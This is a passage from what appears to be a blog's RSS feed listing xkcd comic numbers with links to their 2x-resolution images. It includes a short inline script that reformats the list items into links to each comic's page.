&lt;li>3121: &lt;a href="https://imgs.xkcd.com/comics/kite_incident_2x.png">https://imgs.xkcd.com/comics/kite_incident_2x.png&lt;/a>&lt;/li>
&lt;li>3122: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_interrupted_spheres_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_interrupted_spheres_2x.png&lt;/a>&lt;/li>
&lt;li>3123: &lt;a href="https://imgs.xkcd.com/comics/canon_2x.png">https://imgs.xkcd.com/comics/canon_2x.png&lt;/a>&lt;/li>
&lt;li>3124: &lt;a href="https://imgs.xkcd.com/comics/grounded_2x.png">https://imgs.xkcd.com/comics/grounded_2x.png&lt;/a>&lt;/li>
&lt;li>3125: &lt;a href="https://imgs.xkcd.com/comics/snake_in_the_box_problem_2x.png">https://imgs.xkcd.com/comics/snake_in_the_box_problem_2x.png&lt;/a>&lt;/li>
&lt;li>3126: &lt;a href="https://imgs.xkcd.com/comics/disclaimer_2x.png">https://imgs.xkcd.com/comics/disclaimer_2x.png&lt;/a>&lt;/li>
&lt;li>3127: &lt;a href="https://imgs.xkcd.com/comics/where_babies_come_from_2x.png">https://imgs.xkcd.com/comics/where_babies_come_from_2x.png&lt;/a>&lt;/li>
&lt;li>3128: &lt;a href="https://imgs.xkcd.com/comics/thread_meeting_2x.png">https://imgs.xkcd.com/comics/thread_meeting_2x.png&lt;/a>&lt;/li>
&lt;li>3129: &lt;a href="https://imgs.xkcd.com/comics/archaeology_research_2x.png">https://imgs.xkcd.com/comics/archaeology_research_2x.png&lt;/a>&lt;/li>
&lt;li>3130: &lt;a href="https://imgs.xkcd.com/comics/predicament_2x.png">https://imgs.xkcd.com/comics/predicament_2x.png&lt;/a>&lt;/li>
&lt;li>3131: &lt;a href="https://imgs.xkcd.com/comics/cesium_2x.png">https://imgs.xkcd.com/comics/cesium_2x.png&lt;/a>&lt;/li>
&lt;li>3132: &lt;a href="https://imgs.xkcd.com/comics/coastline_similarity_2x.png">https://imgs.xkcd.com/comics/coastline_similarity_2x.png&lt;/a>&lt;/li>
&lt;li>3133: &lt;a href="https://imgs.xkcd.com/comics/dual_roomba_2x.png">https://imgs.xkcd.com/comics/dual_roomba_2x.png&lt;/a>&lt;/li>
&lt;li>3134: &lt;a href="https://imgs.xkcd.com/comics/wavefunction_collapse_2x.png">https://imgs.xkcd.com/comics/wavefunction_collapse_2x.png&lt;/a>&lt;/li>
&lt;li>3135: &lt;a href="https://imgs.xkcd.com/comics/sea_level_2x.png">https://imgs.xkcd.com/comics/sea_level_2x.png&lt;/a>&lt;/li>
&lt;li>3136: &lt;a href="https://imgs.xkcd.com/comics/pull_2x.png">https://imgs.xkcd.com/comics/pull_2x.png&lt;/a>&lt;/li>
&lt;li>3137: &lt;a href="https://imgs.xkcd.com/comics/cursed_number_2x.png">https://imgs.xkcd.com/comics/cursed_number_2x.png&lt;/a>&lt;/li>
&lt;li>3138: &lt;a href="https://imgs.xkcd.com/comics/dimensional_lumber_tape_measure_2x.png">https://imgs.xkcd.com/comics/dimensional_lumber_tape_measure_2x.png&lt;/a>&lt;/li>
&lt;li>3139: &lt;a href="https://imgs.xkcd.com/comics/chess_variant_2x.png">https://imgs.xkcd.com/comics/chess_variant_2x.png&lt;/a>&lt;/li>
&lt;li>3140: &lt;a href="https://imgs.xkcd.com/comics/biology_department_2x.png">https://imgs.xkcd.com/comics/biology_department_2x.png&lt;/a>&lt;/li>
&lt;li>3141: &lt;a href="https://imgs.xkcd.com/comics/mantle_model_2x.png">https://imgs.xkcd.com/comics/mantle_model_2x.png&lt;/a>&lt;/li>
&lt;li>3142: &lt;a href="https://imgs.xkcd.com/comics/city_style_pizza_2x.png">https://imgs.xkcd.com/comics/city_style_pizza_2x.png&lt;/a>&lt;/li>
&lt;li>3143: &lt;a href="https://imgs.xkcd.com/comics/question_mark_2x.png">https://imgs.xkcd.com/comics/question_mark_2x.png&lt;/a>&lt;/li>
&lt;li>3144: &lt;a href="https://imgs.xkcd.com/comics/phase_changes_2x.png">https://imgs.xkcd.com/comics/phase_changes_2x.png&lt;/a>&lt;/li>
&lt;li>3145: &lt;a href="https://imgs.xkcd.com/comics/piercing_2x.png">https://imgs.xkcd.com/comics/piercing_2x.png&lt;/a>&lt;/li>
&lt;li>3146: &lt;a href="https://imgs.xkcd.com/comics/fantastic_four_2x.png">https://imgs.xkcd.com/comics/fantastic_four_2x.png&lt;/a>&lt;/li>
&lt;li>3147: &lt;a href="https://imgs.xkcd.com/comics/hiking_2x.png">https://imgs.xkcd.com/comics/hiking_2x.png&lt;/a>&lt;/li>
&lt;/ul>
&lt;script>
document.addEventListener('DOMContentLoaded', function() {
 // Find all list items in the document
 const listItems = document.querySelectorAll('li');

 listItems.forEach(function(li) {
 const text = li.textContent.trim();

 // Match the pattern: #NNNN: URL
 const urlMatch = text.match(/^(\d+):\s*(https:\/\/imgs\.xkcd\.com\/comics\/.*\....)\s*$/);

 if (urlMatch) {
 const comicNumber = urlMatch[1];
 const imageUrl = urlMatch[2];

 // Create the new HTML content for comics with 2x available
 li.innerHTML = '&lt;a href="https://xkcd.com/' + comicNumber + '/">' + comicNumber + '&lt;/a>: &lt;a href="' + imageUrl + '">2x available&lt;/a>';
 } else {
 // Match the pattern: #NNNN: No higher res available
 const noResMatch = text.match(/^(\d+):\s*No higher res available\s*$/);

 if (noResMatch) {
 const comicNumber = noResMatch[1];

 // Create the new HTML content for comics without 2x
 li.innerHTML = '&lt;a href="https://xkcd.com/' + comicNumber + '/">' + comicNumber + '&lt;/a>: No higher res available';
 }
 }
 });
});
&lt;/script></description><content:encoded>&lt;p>This is a list of all the xkcd cartoons that are available in 2x resolution, as of today&amp;rsquo;s date.&lt;/p>
&lt;p>See the accompanying post, &lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution/">&amp;ldquo;Get xkcd Cartoons at 2x Resolution,&amp;rdquo;&lt;/a> for an explanation.&lt;/p>
&lt;!-- markdownlint-disable no-bare-urls -->
&lt;ul>
&lt;li>1: No higher res available&lt;/li>
&lt;li>2: No higher res available&lt;/li>
&lt;li>3: No higher res available&lt;/li>
&lt;li>4: No higher res available&lt;/li>
&lt;li>5: No higher res available&lt;/li>
&lt;li>6: No higher res available&lt;/li>
&lt;li>7: No higher res available&lt;/li>
&lt;li>8: No higher res available&lt;/li>
&lt;li>9: No higher res available&lt;/li>
&lt;li>10: No higher res available&lt;/li>
&lt;li>11: No higher res available&lt;/li>
&lt;li>12: No higher res available&lt;/li>
&lt;li>13: No higher res available&lt;/li>
&lt;li>14: No higher res available&lt;/li>
&lt;li>15: No higher res available&lt;/li>
&lt;li>16: No higher res available&lt;/li>
&lt;li>17: No higher res available&lt;/li>
&lt;li>18: No higher res available&lt;/li>
&lt;li>19: No higher res available&lt;/li>
&lt;li>20: No higher res available&lt;/li>
&lt;li>21: No higher res available&lt;/li>
&lt;li>22: No higher res available&lt;/li>
&lt;li>23: No higher res available&lt;/li>
&lt;li>24: No higher res available&lt;/li>
&lt;li>25: No higher res available&lt;/li>
&lt;li>26: No higher res available&lt;/li>
&lt;li>27: No higher res available&lt;/li>
&lt;li>28: No higher res available&lt;/li>
&lt;li>29: No higher res available&lt;/li>
&lt;li>30: No higher res available&lt;/li>
&lt;li>31: No higher res available&lt;/li>
&lt;li>32: No higher res available&lt;/li>
&lt;li>33: No higher res available&lt;/li>
&lt;li>34: No higher res available&lt;/li>
&lt;li>35: No higher res available&lt;/li>
&lt;li>36: No higher res available&lt;/li>
&lt;li>37: No higher res available&lt;/li>
&lt;li>38: No higher res available&lt;/li>
&lt;li>39: No higher res available&lt;/li>
&lt;li>40: No higher res available&lt;/li>
&lt;li>41: No higher res available&lt;/li>
&lt;li>42: No higher res available&lt;/li>
&lt;li>43: No higher res available&lt;/li>
&lt;li>44: No higher res available&lt;/li>
&lt;li>45: No higher res available&lt;/li>
&lt;li>46: No higher res available&lt;/li>
&lt;li>47: No higher res available&lt;/li>
&lt;li>48: No higher res available&lt;/li>
&lt;li>49: No higher res available&lt;/li>
&lt;li>50: No higher res available&lt;/li>
&lt;li>51: No higher res available&lt;/li>
&lt;li>52: No higher res available&lt;/li>
&lt;li>53: No higher res available&lt;/li>
&lt;li>54: No higher res available&lt;/li>
&lt;li>55: No higher res available&lt;/li>
&lt;li>56: No higher res available&lt;/li>
&lt;li>57: No higher res available&lt;/li>
&lt;li>58: No higher res available&lt;/li>
&lt;li>59: No higher res available&lt;/li>
&lt;li>60: No higher res available&lt;/li>
&lt;li>61: No higher res available&lt;/li>
&lt;li>62: No higher res available&lt;/li>
&lt;li>63: No higher res available&lt;/li>
&lt;li>64: No higher res available&lt;/li>
&lt;li>65: No higher res available&lt;/li>
&lt;li>66: No higher res available&lt;/li>
&lt;li>67: No higher res available&lt;/li>
&lt;li>68: No higher res available&lt;/li>
&lt;li>69: No higher res available&lt;/li>
&lt;li>70: No higher res available&lt;/li>
&lt;li>71: No higher res available&lt;/li>
&lt;li>72: No higher res available&lt;/li>
&lt;li>73: No higher res available&lt;/li>
&lt;li>74: No higher res available&lt;/li>
&lt;li>75: No higher res available&lt;/li>
&lt;li>76: No higher res available&lt;/li>
&lt;li>77: No higher res available&lt;/li>
&lt;li>78: No higher res available&lt;/li>
&lt;li>79: No higher res available&lt;/li>
&lt;li>80: No higher res available&lt;/li>
&lt;li>81: No higher res available&lt;/li>
&lt;li>82: No higher res available&lt;/li>
&lt;li>83: No higher res available&lt;/li>
&lt;li>84: No higher res available&lt;/li>
&lt;li>85: No higher res available&lt;/li>
&lt;li>86: No higher res available&lt;/li>
&lt;li>87: No higher res available&lt;/li>
&lt;li>88: No higher res available&lt;/li>
&lt;li>89: No higher res available&lt;/li>
&lt;li>90: No higher res available&lt;/li>
&lt;li>91: No higher res available&lt;/li>
&lt;li>92: No higher res available&lt;/li>
&lt;li>93: No higher res available&lt;/li>
&lt;li>94: No higher res available&lt;/li>
&lt;li>95: No higher res available&lt;/li>
&lt;li>96: No higher res available&lt;/li>
&lt;li>97: No higher res available&lt;/li>
&lt;li>98: No higher res available&lt;/li>
&lt;li>99: No higher res available&lt;/li>
&lt;li>100: No higher res available&lt;/li>
&lt;li>101: No higher res available&lt;/li>
&lt;li>102: No higher res available&lt;/li>
&lt;li>103: No higher res available&lt;/li>
&lt;li>104: No higher res available&lt;/li>
&lt;li>105: No higher res available&lt;/li>
&lt;li>106: No higher res available&lt;/li>
&lt;li>107: No higher res available&lt;/li>
&lt;li>108: No higher res available&lt;/li>
&lt;li>109: No higher res available&lt;/li>
&lt;li>110: No higher res available&lt;/li>
&lt;li>111: No higher res available&lt;/li>
&lt;li>112: No higher res available&lt;/li>
&lt;li>113: No higher res available&lt;/li>
&lt;li>114: No higher res available&lt;/li>
&lt;li>115: No higher res available&lt;/li>
&lt;li>116: No higher res available&lt;/li>
&lt;li>117: No higher res available&lt;/li>
&lt;li>118: No higher res available&lt;/li>
&lt;li>119: No higher res available&lt;/li>
&lt;li>120: No higher res available&lt;/li>
&lt;li>121: No higher res available&lt;/li>
&lt;li>122: No higher res available&lt;/li>
&lt;li>123: No higher res available&lt;/li>
&lt;li>124: &lt;a href="https://imgs.xkcd.com/comics/blogofractal_2x.png">https://imgs.xkcd.com/comics/blogofractal_2x.png&lt;/a>&lt;/li>
&lt;li>125: No higher res available&lt;/li>
&lt;li>126: No higher res available&lt;/li>
&lt;li>127: No higher res available&lt;/li>
&lt;li>128: No higher res available&lt;/li>
&lt;li>129: No higher res available&lt;/li>
&lt;li>130: No higher res available&lt;/li>
&lt;li>131: No higher res available&lt;/li>
&lt;li>132: No higher res available&lt;/li>
&lt;li>133: No higher res available&lt;/li>
&lt;li>134: No higher res available&lt;/li>
&lt;li>135: No higher res available&lt;/li>
&lt;li>136: No higher res available&lt;/li>
&lt;li>137: No higher res available&lt;/li>
&lt;li>138: No higher res available&lt;/li>
&lt;li>139: No higher res available&lt;/li>
&lt;li>140: No higher res available&lt;/li>
&lt;li>141: No higher res available&lt;/li>
&lt;li>142: No higher res available&lt;/li>
&lt;li>143: No higher res available&lt;/li>
&lt;li>144: No higher res available&lt;/li>
&lt;li>145: No higher res available&lt;/li>
&lt;li>146: No higher res available&lt;/li>
&lt;li>147: No higher res available&lt;/li>
&lt;li>148: No higher res available&lt;/li>
&lt;li>149: No higher res available&lt;/li>
&lt;li>150: No higher res available&lt;/li>
&lt;li>151: No higher res available&lt;/li>
&lt;li>152: No higher res available&lt;/li>
&lt;li>153: No higher res available&lt;/li>
&lt;li>154: No higher res available&lt;/li>
&lt;li>155: No higher res available&lt;/li>
&lt;li>156: No higher res available&lt;/li>
&lt;li>157: No higher res available&lt;/li>
&lt;li>158: No higher res available&lt;/li>
&lt;li>159: No higher res available&lt;/li>
&lt;li>160: No higher res available&lt;/li>
&lt;li>161: No higher res available&lt;/li>
&lt;li>162: No higher res available&lt;/li>
&lt;li>163: No higher res available&lt;/li>
&lt;li>164: No higher res available&lt;/li>
&lt;li>165: No higher res available&lt;/li>
&lt;li>166: No higher res available&lt;/li>
&lt;li>167: No higher res available&lt;/li>
&lt;li>168: No higher res available&lt;/li>
&lt;li>169: No higher res available&lt;/li>
&lt;li>170: No higher res available&lt;/li>
&lt;li>171: No higher res available&lt;/li>
&lt;li>172: No higher res available&lt;/li>
&lt;li>173: No higher res available&lt;/li>
&lt;li>174: No higher res available&lt;/li>
&lt;li>175: No higher res available&lt;/li>
&lt;li>176: No higher res available&lt;/li>
&lt;li>177: No higher res available&lt;/li>
&lt;li>178: No higher res available&lt;/li>
&lt;li>179: No higher res available&lt;/li>
&lt;li>180: No higher res available&lt;/li>
&lt;li>181: No higher res available&lt;/li>
&lt;li>182: No higher res available&lt;/li>
&lt;li>183: No higher res available&lt;/li>
&lt;li>184: No higher res available&lt;/li>
&lt;li>185: No higher res available&lt;/li>
&lt;li>186: No higher res available&lt;/li>
&lt;li>187: No higher res available&lt;/li>
&lt;li>188: No higher res available&lt;/li>
&lt;li>189: No higher res available&lt;/li>
&lt;li>190: No higher res available&lt;/li>
&lt;li>191: No higher res available&lt;/li>
&lt;li>192: No higher res available&lt;/li>
&lt;li>193: No higher res available&lt;/li>
&lt;li>194: No higher res available&lt;/li>
&lt;li>195: No higher res available&lt;/li>
&lt;li>196: No higher res available&lt;/li>
&lt;li>197: No higher res available&lt;/li>
&lt;li>198: No higher res available&lt;/li>
&lt;li>199: No higher res available&lt;/li>
&lt;li>200: No higher res available&lt;/li>
&lt;li>201: No higher res available&lt;/li>
&lt;li>202: No higher res available&lt;/li>
&lt;li>203: No higher res available&lt;/li>
&lt;li>204: No higher res available&lt;/li>
&lt;li>205: No higher res available&lt;/li>
&lt;li>206: No higher res available&lt;/li>
&lt;li>207: No higher res available&lt;/li>
&lt;li>208: No higher res available&lt;/li>
&lt;li>209: No higher res available&lt;/li>
&lt;li>210: No higher res available&lt;/li>
&lt;li>211: No higher res available&lt;/li>
&lt;li>212: No higher res available&lt;/li>
&lt;li>213: No higher res available&lt;/li>
&lt;li>214: No higher res available&lt;/li>
&lt;li>215: No higher res available&lt;/li>
&lt;li>216: No higher res available&lt;/li>
&lt;li>217: No higher res available&lt;/li>
&lt;li>218: No higher res available&lt;/li>
&lt;li>219: No higher res available&lt;/li>
&lt;li>220: No higher res available&lt;/li>
&lt;li>221: No higher res available&lt;/li>
&lt;li>222: No higher res available&lt;/li>
&lt;li>223: No higher res available&lt;/li>
&lt;li>224: No higher res available&lt;/li>
&lt;li>225: No higher res available&lt;/li>
&lt;li>226: No higher res available&lt;/li>
&lt;li>227: No higher res available&lt;/li>
&lt;li>228: No higher res available&lt;/li>
&lt;li>229: No higher res available&lt;/li>
&lt;li>230: No higher res available&lt;/li>
&lt;li>231: &lt;a href="https://imgs.xkcd.com/comics/cat_proximity_2x.png">https://imgs.xkcd.com/comics/cat_proximity_2x.png&lt;/a>&lt;/li>
&lt;li>232: No higher res available&lt;/li>
&lt;li>233: No higher res available&lt;/li>
&lt;li>234: No higher res available&lt;/li>
&lt;li>235: No higher res available&lt;/li>
&lt;li>236: No higher res available&lt;/li>
&lt;li>237: No higher res available&lt;/li>
&lt;li>238: No higher res available&lt;/li>
&lt;li>239: No higher res available&lt;/li>
&lt;li>240: No higher res available&lt;/li>
&lt;li>241: No higher res available&lt;/li>
&lt;li>242: No higher res available&lt;/li>
&lt;li>243: No higher res available&lt;/li>
&lt;li>244: No higher res available&lt;/li>
&lt;li>245: No higher res available&lt;/li>
&lt;li>246: No higher res available&lt;/li>
&lt;li>247: No higher res available&lt;/li>
&lt;li>248: No higher res available&lt;/li>
&lt;li>249: No higher res available&lt;/li>
&lt;li>250: No higher res available&lt;/li>
&lt;li>251: No higher res available&lt;/li>
&lt;li>252: No higher res available&lt;/li>
&lt;li>253: No higher res available&lt;/li>
&lt;li>254: No higher res available&lt;/li>
&lt;li>255: No higher res available&lt;/li>
&lt;li>256: No higher res available&lt;/li>
&lt;li>257: No higher res available&lt;/li>
&lt;li>258: No higher res available&lt;/li>
&lt;li>259: No higher res available&lt;/li>
&lt;li>260: No higher res available&lt;/li>
&lt;li>261: No higher res available&lt;/li>
&lt;li>262: No higher res available&lt;/li>
&lt;li>263: No higher res available&lt;/li>
&lt;li>264: No higher res available&lt;/li>
&lt;li>265: No higher res available&lt;/li>
&lt;li>266: No higher res available&lt;/li>
&lt;li>267: No higher res available&lt;/li>
&lt;li>268: No higher res available&lt;/li>
&lt;li>269: No higher res available&lt;/li>
&lt;li>270: No higher res available&lt;/li>
&lt;li>271: No higher res available&lt;/li>
&lt;li>272: No higher res available&lt;/li>
&lt;li>273: No higher res available&lt;/li>
&lt;li>274: No higher res available&lt;/li>
&lt;li>275: No higher res available&lt;/li>
&lt;li>276: No higher res available&lt;/li>
&lt;li>277: No higher res available&lt;/li>
&lt;li>278: No higher res available&lt;/li>
&lt;li>279: No higher res available&lt;/li>
&lt;li>280: No higher res available&lt;/li>
&lt;li>281: No higher res available&lt;/li>
&lt;li>282: No higher res available&lt;/li>
&lt;li>283: No higher res available&lt;/li>
&lt;li>284: No higher res available&lt;/li>
&lt;li>285: No higher res available&lt;/li>
&lt;li>286: No higher res available&lt;/li>
&lt;li>287: No higher res available&lt;/li>
&lt;li>288: No higher res available&lt;/li>
&lt;li>289: No higher res available&lt;/li>
&lt;li>290: No higher res available&lt;/li>
&lt;li>291: No higher res available&lt;/li>
&lt;li>292: No higher res available&lt;/li>
&lt;li>293: No higher res available&lt;/li>
&lt;li>294: No higher res available&lt;/li>
&lt;li>295: No higher res available&lt;/li>
&lt;li>296: No higher res available&lt;/li>
&lt;li>297: No higher res available&lt;/li>
&lt;li>298: No higher res available&lt;/li>
&lt;li>299: No higher res available&lt;/li>
&lt;li>300: No higher res available&lt;/li>
&lt;li>301: No higher res available&lt;/li>
&lt;li>302: No higher res available&lt;/li>
&lt;li>303: No higher res available&lt;/li>
&lt;li>304: No higher res available&lt;/li>
&lt;li>305: No higher res available&lt;/li>
&lt;li>306: No higher res available&lt;/li>
&lt;li>307: No higher res available&lt;/li>
&lt;li>308: No higher res available&lt;/li>
&lt;li>309: No higher res available&lt;/li>
&lt;li>310: No higher res available&lt;/li>
&lt;li>311: No higher res available&lt;/li>
&lt;li>312: No higher res available&lt;/li>
&lt;li>313: No higher res available&lt;/li>
&lt;li>314: No higher res available&lt;/li>
&lt;li>315: No higher res available&lt;/li>
&lt;li>316: No higher res available&lt;/li>
&lt;li>317: No higher res available&lt;/li>
&lt;li>318: No higher res available&lt;/li>
&lt;li>319: No higher res available&lt;/li>
&lt;li>320: No higher res available&lt;/li>
&lt;li>321: No higher res available&lt;/li>
&lt;li>322: No higher res available&lt;/li>
&lt;li>323: No higher res available&lt;/li>
&lt;li>324: No higher res available&lt;/li>
&lt;li>325: No higher res available&lt;/li>
&lt;li>326: No higher res available&lt;/li>
&lt;li>327: &lt;a href="https://imgs.xkcd.com/comics/exploits_of_a_mom_2x.png">https://imgs.xkcd.com/comics/exploits_of_a_mom_2x.png&lt;/a>&lt;/li>
&lt;li>328: No higher res available&lt;/li>
&lt;li>329: No higher res available&lt;/li>
&lt;li>330: No higher res available&lt;/li>
&lt;li>331: No higher res available&lt;/li>
&lt;li>332: No higher res available&lt;/li>
&lt;li>333: No higher res available&lt;/li>
&lt;li>334: No higher res available&lt;/li>
&lt;li>335: No higher res available&lt;/li>
&lt;li>336: No higher res available&lt;/li>
&lt;li>337: No higher res available&lt;/li>
&lt;li>338: No higher res available&lt;/li>
&lt;li>339: No higher res available&lt;/li>
&lt;li>340: No higher res available&lt;/li>
&lt;li>341: No higher res available&lt;/li>
&lt;li>342: No higher res available&lt;/li>
&lt;li>343: No higher res available&lt;/li>
&lt;li>344: No higher res available&lt;/li>
&lt;li>345: No higher res available&lt;/li>
&lt;li>346: No higher res available&lt;/li>
&lt;li>347: No higher res available&lt;/li>
&lt;li>348: No higher res available&lt;/li>
&lt;li>349: No higher res available&lt;/li>
&lt;li>350: No higher res available&lt;/li>
&lt;li>351: No higher res available&lt;/li>
&lt;li>352: No higher res available&lt;/li>
&lt;li>353: No higher res available&lt;/li>
&lt;li>354: No higher res available&lt;/li>
&lt;li>355: No higher res available&lt;/li>
&lt;li>356: No higher res available&lt;/li>
&lt;li>357: No higher res available&lt;/li>
&lt;li>358: No higher res available&lt;/li>
&lt;li>359: No higher res available&lt;/li>
&lt;li>360: No higher res available&lt;/li>
&lt;li>361: No higher res available&lt;/li>
&lt;li>362: No higher res available&lt;/li>
&lt;li>363: No higher res available&lt;/li>
&lt;li>364: No higher res available&lt;/li>
&lt;li>365: No higher res available&lt;/li>
&lt;li>366: No higher res available&lt;/li>
&lt;li>367: No higher res available&lt;/li>
&lt;li>368: No higher res available&lt;/li>
&lt;li>369: No higher res available&lt;/li>
&lt;li>370: No higher res available&lt;/li>
&lt;li>371: No higher res available&lt;/li>
&lt;li>372: No higher res available&lt;/li>
&lt;li>373: No higher res available&lt;/li>
&lt;li>374: No higher res available&lt;/li>
&lt;li>375: No higher res available&lt;/li>
&lt;li>376: No higher res available&lt;/li>
&lt;li>377: No higher res available&lt;/li>
&lt;li>378: No higher res available&lt;/li>
&lt;li>379: No higher res available&lt;/li>
&lt;li>380: No higher res available&lt;/li>
&lt;li>381: No higher res available&lt;/li>
&lt;li>382: No higher res available&lt;/li>
&lt;li>383: No higher res available&lt;/li>
&lt;li>384: No higher res available&lt;/li>
&lt;li>385: No higher res available&lt;/li>
&lt;li>386: &lt;a href="https://imgs.xkcd.com/comics/duty_calls_2x.png">https://imgs.xkcd.com/comics/duty_calls_2x.png&lt;/a>&lt;/li>
&lt;li>387: No higher res available&lt;/li>
&lt;li>388: No higher res available&lt;/li>
&lt;li>389: No higher res available&lt;/li>
&lt;li>390: No higher res available&lt;/li>
&lt;li>391: No higher res available&lt;/li>
&lt;li>392: No higher res available&lt;/li>
&lt;li>393: No higher res available&lt;/li>
&lt;li>394: No higher res available&lt;/li>
&lt;li>395: No higher res available&lt;/li>
&lt;li>396: No higher res available&lt;/li>
&lt;li>397: No higher res available&lt;/li>
&lt;li>398: No higher res available&lt;/li>
&lt;li>399: No higher res available&lt;/li>
&lt;li>400: No higher res available&lt;/li>
&lt;li>401: No higher res available&lt;/li>
&lt;li>402: No higher res available&lt;/li>
&lt;li>403: No higher res available&lt;/li>
&lt;li>405: No higher res available&lt;/li>
&lt;li>406: No higher res available&lt;/li>
&lt;li>407: No higher res available&lt;/li>
&lt;li>408: No higher res available&lt;/li>
&lt;li>409: No higher res available&lt;/li>
&lt;li>410: No higher res available&lt;/li>
&lt;li>411: No higher res available&lt;/li>
&lt;li>412: No higher res available&lt;/li>
&lt;li>413: No higher res available&lt;/li>
&lt;li>414: No higher res available&lt;/li>
&lt;li>415: No higher res available&lt;/li>
&lt;li>416: No higher res available&lt;/li>
&lt;li>417: No higher res available&lt;/li>
&lt;li>418: No higher res available&lt;/li>
&lt;li>419: No higher res available&lt;/li>
&lt;li>420: No higher res available&lt;/li>
&lt;li>421: No higher res available&lt;/li>
&lt;li>422: No higher res available&lt;/li>
&lt;li>423: No higher res available&lt;/li>
&lt;li>424: No higher res available&lt;/li>
&lt;li>425: No higher res available&lt;/li>
&lt;li>426: No higher res available&lt;/li>
&lt;li>427: No higher res available&lt;/li>
&lt;li>428: No higher res available&lt;/li>
&lt;li>429: No higher res available&lt;/li>
&lt;li>430: No higher res available&lt;/li>
&lt;li>431: No higher res available&lt;/li>
&lt;li>432: No higher res available&lt;/li>
&lt;li>433: No higher res available&lt;/li>
&lt;li>434: No higher res available&lt;/li>
&lt;li>435: No higher res available&lt;/li>
&lt;li>436: No higher res available&lt;/li>
&lt;li>437: No higher res available&lt;/li>
&lt;li>438: No higher res available&lt;/li>
&lt;li>439: No higher res available&lt;/li>
&lt;li>440: No higher res available&lt;/li>
&lt;li>441: No higher res available&lt;/li>
&lt;li>442: No higher res available&lt;/li>
&lt;li>443: No higher res available&lt;/li>
&lt;li>444: No higher res available&lt;/li>
&lt;li>445: No higher res available&lt;/li>
&lt;li>446: No higher res available&lt;/li>
&lt;li>447: No higher res available&lt;/li>
&lt;li>448: No higher res available&lt;/li>
&lt;li>449: No higher res available&lt;/li>
&lt;li>450: No higher res available&lt;/li>
&lt;li>451: No higher res available&lt;/li>
&lt;li>452: No higher res available&lt;/li>
&lt;li>453: No higher res available&lt;/li>
&lt;li>454: No higher res available&lt;/li>
&lt;li>455: No higher res available&lt;/li>
&lt;li>456: No higher res available&lt;/li>
&lt;li>457: No higher res available&lt;/li>
&lt;li>458: No higher res available&lt;/li>
&lt;li>459: No higher res available&lt;/li>
&lt;li>460: No higher res available&lt;/li>
&lt;li>461: No higher res available&lt;/li>
&lt;li>462: No higher res available&lt;/li>
&lt;li>463: No higher res available&lt;/li>
&lt;li>464: No higher res available&lt;/li>
&lt;li>465: No higher res available&lt;/li>
&lt;li>466: No higher res available&lt;/li>
&lt;li>467: No higher res available&lt;/li>
&lt;li>468: No higher res available&lt;/li>
&lt;li>469: No higher res available&lt;/li>
&lt;li>470: No higher res available&lt;/li>
&lt;li>471: No higher res available&lt;/li>
&lt;li>472: No higher res available&lt;/li>
&lt;li>473: No higher res available&lt;/li>
&lt;li>474: No higher res available&lt;/li>
&lt;li>475: No higher res available&lt;/li>
&lt;li>476: No higher res available&lt;/li>
&lt;li>477: No higher res available&lt;/li>
&lt;li>478: No higher res available&lt;/li>
&lt;li>479: No higher res available&lt;/li>
&lt;li>480: No higher res available&lt;/li>
&lt;li>481: No higher res available&lt;/li>
&lt;li>482: No higher res available&lt;/li>
&lt;li>483: No higher res available&lt;/li>
&lt;li>484: No higher res available&lt;/li>
&lt;li>485: No higher res available&lt;/li>
&lt;li>486: No higher res available&lt;/li>
&lt;li>487: No higher res available&lt;/li>
&lt;li>488: No higher res available&lt;/li>
&lt;li>489: No higher res available&lt;/li>
&lt;li>490: &lt;a href="https://imgs.xkcd.com/comics/morning_routine_2x.png">https://imgs.xkcd.com/comics/morning_routine_2x.png&lt;/a>&lt;/li>
&lt;li>491: No higher res available&lt;/li>
&lt;li>492: No higher res available&lt;/li>
&lt;li>493: No higher res available&lt;/li>
&lt;li>494: No higher res available&lt;/li>
&lt;li>495: No higher res available&lt;/li>
&lt;li>496: No higher res available&lt;/li>
&lt;li>497: No higher res available&lt;/li>
&lt;li>498: No higher res available&lt;/li>
&lt;li>499: No higher res available&lt;/li>
&lt;li>500: &lt;a href="https://imgs.xkcd.com/comics/election_2x.png">https://imgs.xkcd.com/comics/election_2x.png&lt;/a>&lt;/li>
&lt;li>501: No higher res available&lt;/li>
&lt;li>502: No higher res available&lt;/li>
&lt;li>503: No higher res available&lt;/li>
&lt;li>504: No higher res available&lt;/li>
&lt;li>505: No higher res available&lt;/li>
&lt;li>506: No higher res available&lt;/li>
&lt;li>507: No higher res available&lt;/li>
&lt;li>508: No higher res available&lt;/li>
&lt;li>509: No higher res available&lt;/li>
&lt;li>510: No higher res available&lt;/li>
&lt;li>511: No higher res available&lt;/li>
&lt;li>512: No higher res available&lt;/li>
&lt;li>513: No higher res available&lt;/li>
&lt;li>514: No higher res available&lt;/li>
&lt;li>515: No higher res available&lt;/li>
&lt;li>516: No higher res available&lt;/li>
&lt;li>517: No higher res available&lt;/li>
&lt;li>518: No higher res available&lt;/li>
&lt;li>519: No higher res available&lt;/li>
&lt;li>520: No higher res available&lt;/li>
&lt;li>521: No higher res available&lt;/li>
&lt;li>522: No higher res available&lt;/li>
&lt;li>523: No higher res available&lt;/li>
&lt;li>524: No higher res available&lt;/li>
&lt;li>525: No higher res available&lt;/li>
&lt;li>526: No higher res available&lt;/li>
&lt;li>527: No higher res available&lt;/li>
&lt;li>528: No higher res available&lt;/li>
&lt;li>529: No higher res available&lt;/li>
&lt;li>530: No higher res available&lt;/li>
&lt;li>531: No higher res available&lt;/li>
&lt;li>532: No higher res available&lt;/li>
&lt;li>533: No higher res available&lt;/li>
&lt;li>534: No higher res available&lt;/li>
&lt;li>535: No higher res available&lt;/li>
&lt;li>536: No higher res available&lt;/li>
&lt;li>537: No higher res available&lt;/li>
&lt;li>538: No higher res available&lt;/li>
&lt;li>539: No higher res available&lt;/li>
&lt;li>540: No higher res available&lt;/li>
&lt;li>541: No higher res available&lt;/li>
&lt;li>542: No higher res available&lt;/li>
&lt;li>543: No higher res available&lt;/li>
&lt;li>544: No higher res available&lt;/li>
&lt;li>545: No higher res available&lt;/li>
&lt;li>546: No higher res available&lt;/li>
&lt;li>547: No higher res available&lt;/li>
&lt;li>548: No higher res available&lt;/li>
&lt;li>549: No higher res available&lt;/li>
&lt;li>550: No higher res available&lt;/li>
&lt;li>551: No higher res available&lt;/li>
